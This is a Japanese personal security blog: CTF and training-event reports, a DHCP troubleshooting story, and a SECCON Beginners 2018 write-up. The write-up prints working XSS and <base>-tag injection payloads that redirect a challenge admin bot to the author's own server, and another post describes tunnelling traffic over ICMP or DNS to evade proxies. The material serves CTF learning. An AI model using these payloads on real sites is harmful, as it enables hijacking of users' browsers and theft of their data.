banbanの備忘録

あったことを適当に書き残します

SECCON Beginners 2018 広島に行ってきた

タイトルの通り,SECCON Beginners 広島に参加してきました.

SECCONとかCTFの説明は省略していいですよね.
Beginnersは,CTF初心者向けの勉強会です.
今回の広島回では,初のCrypt講義があるとのことで参加してきました.

申し込み 〜 会場到着

SECCON Beginners広島は,抽選制だったのですが,実は一度落選してます.
その後,追加当選のメールが届き,当選していた弊研究室の後輩と一緒に行ってきました.

もともと,開始20分前に最寄りの高速バスターミナル着で不安だったのですが,
この不安が的中し,バスが20分以上の遅刻.

会場に到着したのは,最初の講義が始まって5分ぐらい経った時点でした.
運営や参加者の皆さんにはご迷惑をおかけしました.すいませんでした.

講義

講義1. Crypt

講義の1つ目はCryptでした.
内容はRSA暗号入門的な内容でした.
プログラムでゴリゴリやるのではなく,手書きで問題を解くような流れで
講義が進んでいきました.

RSAは以前,調べたことがあったのですが
Pythonのライブラリの使い方が分からず挫折した経験があったので,
手書きで,根本的なところを説明していただき理解が進んだような気がします.

講義2. Web

WebはXSSの話でした. 内容は正直知っているような内容でしたが,
隣の後輩に講義の補足説明(そこまで大した内容ではない)
を講義後にしたことで,自分の理解も進んだような気がします.

講義3. Rev

バイナリわからん. 講義では,バイナリを読んでいこう! 的な内容であり,
順にいろんなスタックやループなどの形式のアセンブリを読んできいきました.
結果としてアセンブリを完全に理解しました(大嘘)

CTF演習

SECCON Beginnersといえば,最後にCTF演習があります.
問題のWriteupとかは,ggれば多分出てきます.調べてください.

Cryptをいままで解けたことがなかったので,今回はCryptから挑戦していきました.
結果は以下のような感じ

Cryptをいくつか解くことができました.
Revに関しては,Cryptの最後の問題に時間をかけすぎて触れず...
strignsコマンドで解けた問題が二問ほどあったとかで,悔しいです...

あと最終順位表は以下のような感じ f:id:BanBan:20180905025616p:plain

結果は6位という中途半端な順位でした...精進します.

さいごに

SECCON Beginners 広島楽しかったです.
CTF熱が久しぶりに湧いてきたので,何かジャンルを絞って勉強してみようかな?

同じ大学在学中の方と会場で出会い,晩ごはんを一緒に食べました.

Micro Hardening v1.x@岡山 でリベンジ?

タイトルの通り、岡山で開催されたMicroHardeningに参加してきました!
4月に開催されたtktkセキュリティ勉強会のMicroHardeningにも参加経験があったので、
実はMicroHardeningへの挑戦は2回目でした!
ちょっとだけ、今回のMicroHardening@岡山についてブログにまとめたいと思います。

f:id:BanBan:20180805112918p:plain
今回守るECサイト

MicroHardeningとは

このページを見て下さい(丸投げ)。

microhardening.connpass.com

つまり、本家Hardeningの短い版です。
45分という短い時間の中で売上を最大化する。 これを、3セット繰り返します。
3セットそれぞれの内容は全く同じ。だから、1セット目より2セット目。2セット目より3セット目と、スコアを伸ばしていくことが目標です。

3セットな理由は、当日に講師の川口さんが話されていましたが
スーパーマリオも残機3からスタートなので、3セットあればある程度できた感じになるよね?」
という理由だそうです。 とても良い理由だと思います。

結果

通常、MicroHardeningは3−4人ぐらいで一つのECサイトが動くサーバを守るのですが、自分を含めた参加者のうち3人は 経験者ということで1人1台のサーバを頂けることに...
複数人で担当するはずの作業を1人で行うことになりました。まあ、お値段的にはお得だったのかな?と思います(笑)

結果は、以下のようになりました。

f:id:BanBan:20180805113336j:plain
最終スコアと防御点

私が担当したのは、チーム4です。

全部は話せないですが、自分のやった内容をぼかして(?)言うと

  • 1回目:
    簡単な堅牢化だけ施して、サービスの死活監視(手動)。スコアだけ見るとそこそこ順調かな。防御点は低い。

  • 2回目:
    いくつか堅牢化をするものの、あまりうまく働かず失速...。3回目に期待。

  • 3回目:
    他の経験者の方が行われた内容を伺い、色々適用。あとプロキシ通して更新もしてみた。一時的にサービスが落ちているのに気づかなかったもののスコア10万点超え、防御点も10を超えることができた。

といった感じでした。

感想

感想は、以下の感じ。

  • 1人は大変。猫の手も借りたいとはこのこと。具体的にはログを見てくれる目が欲しい。
  • iptablesを自作できないと防御点は稼ぎづらいかも。
  • 1人の場合は、スクリプトを作って2回目、3回目に挑むほうが効率良さそう。というよりそうしないと、色々間に合わない(笑)
  • 1人の場合は、自分の分かっていない部分(他の人に任せていた部分)がわかる。

1人は大変だけど、逆に学びもあったし充実した疲れを感じました。
参加してよかったです。

おわりに

MicroHardeningは川口設計の川口洋さんが作られて運営されているものです。
本来は、お金を取るような内容の演習を無料で受けさせて頂けるというのは大変ありがたいです。
現在も、川口さんは全国でMicroHardeningを開催されています。 もし、みなさんも機会がれば是非受けてみてください。

SecHack365 北海道回の参加メモ

SecHack365北海道回

2018/6/29 〜 7/1 に北海道で開催されたSecHack365北海道回に参加しました。
簡単にまとめます。

1日目

さくらインターネット様の石狩データセンターを見学してきました。
石狩データセンターでは、外気を取り入れた冷却電力削減や排熱のロードヒーティングへの利用など 環境を利用(環境のことを考えた?)試みがたくさんされているデータセンターでした。 データセンター内はとてもきれいで、イメージしていたデータセンタって感じじゃなかったです。

2〜3日目

この日から北海道回って感じでした。
イデア発想法や縁日など色々な企画が用意されていました。
特に縁日の企画は楽しかったので、少し以下でまとめます。

縁日

参加した縁日は
「ネットワークハッキング ~自由を手に入れよう!誰でもできるネットワークすり抜け術~」と
Raspberry PIルータで体験するインターネットの仕組み+ネットワーク講義」
でした。

ネットワークハッキング

様々な条件があるネットワークから、外部とHTTPの通信がしたい!って内容でした。

例えば、プロキシ経由でしか外部にHTTP通信できない環境で、プロキシに通信内容を見られたくない!!みたいな場合です。
これは簡単で、sshのポートフォワーディングを使う方法でした。(これはもとから知ってた)

個人的にはこれ以降が面白かったです。 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、ICMP通信は可能な環境」や 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、DNS(53/TCP、53/UDP)は可能な環境」な環境などです。

HTTPもSSHも無理なら外部とのHTTP通信なんて無理じゃね?って思いますが、なんと通信できます!
方法は、両方ともに同じ考え方です。
ICMP(Ping)やDNS(名前解決)のパケットのPayload部(?)に空きがあるらしいです。ここに必要なパケットを分割して詰め込み通信を行うとのこと。
実際にやってみましたが、考えた人すごいですね...。あとすごい悪用できそうですね...。(もちろん悪用は厳禁です!!)
なお、事前準備が少し必要なので、いつでも可能ってわけではなさそうです。

Raspberry PIルータ体験

実際にRaspiをつかって、複数のRaspi間の通信とRaspi下にPCと通信してみるっていうハンズオンでした。
最近、NW系機器を触る機会が多かったので、実際に手を動かして1からRouting Tableを作るっていうのは、大変ですが仕組みをよく理解できてよかったです。 こう考えると、NW系の機器はかなり簡単に設定ができるようになっていて便利ですね。改めて実感しました。
最近、検証用のNW機器が欲しい欲がさらに高まりました。お金溜まったら買いますかね。

まとめ

雑な文章でしたが、一応の北海道回まとめでした。 時間できたら文章をアップデートします。

初北海道でしたが、気候が最The高でした。夏だけ北海道に住みたい...。

GitHub pagesを作ってみた

興味があったので、GitHub pagesを作ってみました。

GitHub pagesとは?

GitHubが提供するホスティングサービスで、ウェブページをインターネット上に公開することができます。
自分のGitHubリポジトリに静的ファイル(HTML、CSS、JS)を配置することで、「https://{username}.github.io」というアドレスで ホームページやポートフォリオサイトを作ることができるサービスです。

ポートフォリオサイトあると便利だよな〜(使い道ないけど)と何度か考えたことがあったので今回作ってみました。

作り方

ググれば出てきます

  1. リポジトリをまず作りましょう。リポジトリ名は「{username}.github.io」で必ず作ってください。{username}は、全部小文字で大丈夫そうです。
  2. そこに静的ファイル群をアップ

これで、完了です。(簡単!!)

ページが作れているか気になる場合は、URLにアクセスしてもいいですし、「setting」を開きページを下にスクロールするとページのURLが表示されています。

作ったサイトは以下になります。
https://yuyaban.github.io/

なお、CSSやJSは雰囲気しか理解していないので、便利なテンプレートを利用して作りました。
pure というCSSのレスポンシブテンプレートです。JSは一切使いません。

興味ある方も、無料なので作ってみてはどうでしょう?

以上です。

SECCON Beginners CTF 2018のwriteup

SECCON Beginners CTF 2018に挑戦しました。 チームGuardPenguinで参加しました。

せっかくなので、writeupというのを書いてみます。
といっても、情報危機管理コンテストに参加していたのでちゃんと問題解き始めたのは土曜日の夕方以降…
夕方までに他のチームメンバに解かれてしまっていました。
というわけで、自分の解いた問題だけでも載せておきます。
(危機管理コンテストについては後日まとめて書きます。)

てけいさんえくすとりーむず

やるだけでした。

import socket
import time

msg_list = []
msg = ''

host = "tekeisan-ekusutoriim.chall.beginners.seccon.jp"
port = 8690
server_address = (host, 6789)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print('Connect Success!!')

for _ in range(1000):
    msg = s.recv(4096).decode()
    msg_list = msg.split('\n')

    for m in msg_list:
        print(m)

    q = "".join(msg_list[-1].split(' ')[:3])
    ans = str(eval(q)) + '\n'
    print('{}'.format(ans),end="")
    s.send(ans.encode())

encode問題でつまりましたが、なんとかSolve。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

imgファイルが渡されるのでそれを解析する問題。 まずはfileコマンド。Diskイメージっぽい。マウントできそう。

root@ubuntu:~# file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors

つづいて、binwalkで中に色々なファイルがみえるので、展開してみた。

root@ubuntu:~# binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

root@ubuntu:~# binwalk --dd=".*" disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

展開したPDFファイル(展開後は 940400 というファイル名)の拡張子をちゃんとPDFに変えると開けた。 中身は disk_image_for3nsics} FLAGの末尾っぽい。

次に dis.img のマウント

root@ubuntu:~# parted
GNU Parted 3.2
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) u                                                                
Unit?  [compact]? B                                                       
(parted) print                                                            
Model: ATA Ubuntu Linux 16. (scsi)
Disk /dev/sda: 68719476736B
Sector size (logical/physical): 512B/4096B
Partition Table: msdos
Disk Flags: 

Number  Start         End           Size          Type      File system     Flags
 1      1048576B      67645734911B  67644686336B  primary   ext4            boot
 2      67646782464B  68718428159B  1071645696B   extended
 5      67646783488B  68718428159B  1071644672B   logical   linux-swap(v1)

(parted) q 

root@ubuntu:~# mount -t ext4 -o loop,rw,offset=1048576 disk.img ~/img/
root@ubuntu:~# tree img/
img/
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   ├── message_2_of_3.png
│   └── output
│       └── audit.txt
└── message3

message_*_of_3 が2つありますね。これで、さっきのPDFが message_3_of_3 だと予想。他2つからフラグが取れないか調査します。
message_1_of_3.txtはそのまま読めました。 ctf4b{y0u_t0uched でした。
message_2_of_3.txtpngっぽいのですが、壊れてて開けません。
どうしようか悩んでいたところ、他のメンバが
「バイナリの先頭ヘッダが書き換えられていたので治した」とのコメントが
開けたファイルには _a_part_0f と書いてありました。
つなげればFLAG ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics} をゲット

Gimme your comment

Webの問題。
新規投稿の本文内でXSSが発火。
XSSを利用して、管理者を別ページへリダイレクトさせることを狙う。
<script>location.href='http://(自分のサーバIP)”; </script> で管理者が自分のサーバにアクセスしてくるので、apacheのログから管理者の user agent を確認できる。

FLAG ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

先程の問題では存在した、本文内でのJavascript発火が防がれていた。
でも HTMLタグ系は動くっぽい。

最初は <form ~ のボタンを騙して、リダイレクトを狙っていたが上手く動かず…
(上手く動いている人もいる模様…)

他の方法ということで、上手くいったのが <base> タグを利用する方法。
<base href='http://(自分のサーバIP)' /> とすることで、管理者がページ内のコメント投稿ボタンを押すと
http://(自分のサーバIP)/comment に飛ばされる。
これで、さきほどと同様にuser agentを確認できる

FLAG ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Message from the future

これはわずかに時間が足りずに提出できなかった問題。 Message_from_the_future という実行ファイルが渡される。 この実行ファイルで暗号化した文字列も与えられており、これを復号する問題である。

この実行ファイルは、引数に指定した文字列を暗号化しているようだ。

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future a
4f
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future ab
4f5b

一文字が二文字に置換されている。これは、一定のようだ。
(最初はそう思っていたのだ…)

「じゃあ、総当たりで解けるんじゃん!」 と思って、プログラムを書き、総当たりするが、暗号化された文字列と一致しない…

時間を置いて、いろいろ調べてみるとどうやら時間を使っているらしい。
確かに、Linuxの時間を変えて実行すれば値が変わる。 問題文に「2020年から〜」とある。じゃあ2020年に変えてみよう。月も影響してるっぽいから変えてみよう。
フラグは ctf4b から始まるため、これを実行ファイルに与えたときに与えられた文字列と一致する年月を探す。
2020年の8月が一致した。
あとは、最初やったとおり総当たり。
以下がプログラム
(※date -s '2020/08/01 12:00:00'で時計が1秒程度しか固定できなかったので、ちょっと無理やりなコードになっています(笑))

import subprocess

debug = 0

crypt = b'0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759'
src = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?'
print(src)

length = int(len(crypt)/2)
flag=''
tmp_flag =''

commands =['./Message_from_the_future','']
datecommand = ['date','-s','2020/08/08 13:00:00']

for i in range(length):
    if debug == 1: print('[+] next:{}'.format(flag))
    subprocess.call(datecommand)
    print(subprocess.check_output('date'))
    print('------------------------------------------')
    for k in range(len(src)):
        tmp_flag = flag + src[k]
        #commands = './Message_from_the_future'+' '+tmp_flag
        commands[1] = tmp_flag
        if debug == 1: print('[+] now command:{}'.format(commands))
        msg = subprocess.check_output(commands)
        if debug == 1: print('[+] match? [{}][{}]'.format(msg[(i*2):(i*2)+2],crypt[(i*2):(i*2)+2]))
        if msg[(i*2):(i*2)+2] == crypt[(i*2):(i*2)+2]:
            print('[*] match!!')
            print('------------------------------------------')
            print('[*] now flag:{}'.format(tmp_flag))
            flag = tmp_flag
            break
        if src[k] == "?":
            print('------------------------------------------')
            print('[-] missed...')
            flag = tmp_flag
            break
print(flag)

実行結果

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# python decrypt_solver.py 
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:c
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ct
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

〜〜〜(略)〜〜〜〜〜
------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

FLAG ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

SecHack365 神奈川回の参加メモ

SecHack365という一年を通じて行うセキュリティハッカソンに参加することになりました!!
その第一回が先日有りましたので、やったことを備忘録的に残しておきます

SecHack365とは?

そもそもSecHack365を知らない人は以下のリンクを見てください。

sechack365.nict.go.jp

昨年から始まり、今年で二回目だそうです。
倍率も6.9倍とかなり高かったようで、自分が採用されたのはラッキー枠かユーモア枠か何かでしょう。
でも、採用されたからには一年間しっかり楽しんで、成長したいと思います。

第一回オフラインイベント 神奈川回

Day1

初日は、お昼過ぎに集合して顔合わせを行いました。

岡山から向かったので、朝の起床がそこそこ早く辛かった…
眠かったのですが、神奈川回で使用するスライドが未完成だったため新幹線の中で作成をしていました。

とりあえず、遅刻せずに会場には到着。
初日は、トレーナーの方からのSecHack365の説明と顔合わせがありました。
(SecHack365では、受講者をトレーニー、アドバイスをくれる先生方をトレーナーと呼びます)
また、初回と言うことで、マンダラートを作りSecHack365の目標(?)を立てたりもしました。
マンダラートは大谷翔平で有名だったので、知っていたのですが、いざ自分で書くとなると81マス埋めるのは結構たいへんでした。

夜は、懇親会があってご飯やミニゲームを楽しみました。

夜にお部屋にGが出たのはまた別の話…

Day2

午前のアイデアソンでは、応募時に書いていた「開発したいもの」をトレーニー同士で説明しあいました。
他の人の作りたいモノを聞くと、かなり高度な内容を提案されていて「やっぱすごい人が多いなぁ」と感じました。
ちなみに自分は、ペンテストを学習できるプラットフォームを提案しました。

www.instagram.com

自分、映ってる…

午後からは、コースワークです。
私は表現駆動コースで採用されているので、表現の方々とコースワークしました。
発表5分 + 質疑10分で自分の開発したいテーマについてプレゼンしました。
かなり早口オタクになりましたが、十分伝えられたと思います。

特にNICTさんはサイバーレンジ事業にも関わってらっしゃるので、内容的に近い僕のテーマでは、かなりお力を借りられそうな意見をいただきました。
ただし、自分のテーマとほぼおなじことができるCYDERRANGEというのを計画しているらしく「あ、オワタ…」と一瞬なりましたが、様々な案をいただけたのでとりあえず、当分はできる範囲で価値を考えていきたい思います。

CyderRangeの記事はこちら
サイバー演習自動化システム“CYDERANGE”の開発と実運用の開始 | NICT-情報通信研究機構

夜は、NightChallengeという、グループで何か作ってみよう!という課題が出されました。
作るものの候補はいくつか示されていて、私達のチームは「俳句の自動生成」に挑戦しました。

一番ハッカソンぽかったです。

私達のチームは、必ず季語をひとつ入れて、残りは、名詞、助詞、動詞を文法的に合ってるように組み合わせる方法を取りました。
なお、品詞それぞれのデータベースを作るのには、形態素解析がきでる「MeCab」を利用しました。

なお、ネタとして「-m」の下の句が必ず最上川になる最上川オプションと「-h」の上の句が必ずほととぎすになるほととぎすオプションを作りました。

出来た俳句は、以下のようなモノ
* サイにより つきあう荒れ地 最上川
* ホトトギス 至る脅威 フルとして

なんとなく、最上川にすると意味は分からないが締まりが良くなる気がします。

Day3

午前はコースワークの続きでした。
NightChallengeで各班が作ったものを発表しました。
どの班も、ただのHello worldFizzBuzzのプログラムなのに、すごく凝っていました。
中には変態プロもいました。

俳句の自動生成の班は幾つかあり、それぞれ様々な方法で実現していました。
個人的には「JPOPの歌詞から俳句を生成する」というやつが気に入りました。
それっぽい俳句が多く生成されていました。

午後からは個活でした。
自分は、SecHackで用意されているBacklogのWikiや個人ページの作成と
ひとまずペンテストできる環境を作るために攻撃シナリオを考えていました。

これにて、SecHack365 神奈川回は終わりです。
次回は北海道回です。
次回まで約40日あるらしいので、それまでに何かしらの進捗を生みたいと思います。

以上

おまけ

帰りに横須賀に寄って食べたカレーが美味しかったです。
あと、かわいい店員さんが可愛い制服来てて最高でした。
また行きたいです。

以上(2回目)

バイト先のWi-Fiルータから192.168.Y.Xが振ってこないのを解決した話

バイト先で、ネットに繋がらない!! と言われ、解決したのでやったこととを備忘録的にまとめる。
※やってることは初歩的な内容ダヨ

バイト先について

私のバイト先は、Microsoft Officeの使い方を教えるいわゆるパソコン教室である。
MSOfficeがある程度使えれば良いので、その他のPC知識に詳しくない人でも働ける。

2つの教室にはWi-Fiが飛んでおり、別部屋に設置してあるRTX1200から各教室にLANケーブルが引かれている。

以下のような感じ

[Internet] -- [RTX1200]  -- [Wi-Fiルータ1] or [Wi-Fiルータ2] ・・・

RTX1200は、192.168.Y.1/24をDHCPで割り振るように設定してある。 つまり、Wi-Fiルータに接続した端末には192.168.Y.4~254 が割り振られる。 (Y.1はRTX1200、Y.2, 3はWi-Fiルータに割り当て)

発生したインシデント

その日は、スタッフが集まるミーティング的な日(PC教室の授業とは別に集まる機会がある)。 自分が到着したのは、ほとんど最後の方だった。
自分が到着すると

A「banbanさん!ネット繋がらないんです!」
banban「???」

3日前に自分がPC教室で生徒に教えていたときは、自分も生徒も繋がっていた。
Aのパソコンの調子が悪いだけだと思っていたのだが、半分ぐらいの人がつながっていない。
一方で残り半分は普通に繋がっている。

さて、繋がっている人がいるのに、繋がっていない人もいる。
さて、なーんでだ?

という、インシデントでした。

解決方法

繋がっている人のPCには、正しく 192.168.Y.Xというアドレスが振られていた。
つながっていない人のPCを確認すると、169.254.Y.Xというアドレスが振られていた。

調べてみると、169.254.Y.X というアドレスは、DHCPが上手く割り当てられなかった時にパソコンが自身で割り当てるリンクローカルアドレスと言うものらしい。
つまり、DHCPに問題があることがわかる。
(この時点で、原因の予想がたつ)

RTX1200がDHCPを割り振っているためGUIで様子を確認。
すると、DHCP割り振り済み端末の数が245となっている...
(やっぱり)ほぼアドレス枯渇してるぅぅ!!

しかし、その時その場にいる人間の数を考慮してもそんな数のデバイスがあるとは思えない。
つまり、現在ここにはいないデバイスに割り振っているわけだ。

DHCPのリース期間の設定を確認する。
リース時間: 72時間
…3日!?

ということで、原因はここ三日間でWi-Fiに繋いだ生徒達のPCにアドレスをリースしっぱなしだからでした。

リース時間を72時間から3時間(授業が大体2時間なため)に変更することで、3時間より前にリースされていたアドレスは解放され、上手く接続できていなかったPCに割り振られ直しました。
ちなみに、一部の繋がっていた人(自分含め)は、ここ3日間以内にここのWi-Fiに一度でも繋いだことのあるPCでした。

まとめ

RTX1200のデフォルトのリース時間は72時間らしいです。つまり、デフォルトのままだったのが原因だったんですね。
先週にRTX1200の設定を少しいじった人がいたようで、その時にデフォルトに戻ってしまったのでしょうね。

DHCPのアドレス枯渇は、こういった多くの人(生徒数600人ぐらい)が繋ぐWi-Fi環境ならではなインシデントな気がします。
リース時間にも十分気を使ったほうが良いということですね。
※素人の解決方法なので、こうした方が良いよ!とかあれば、ご指導ください。

以上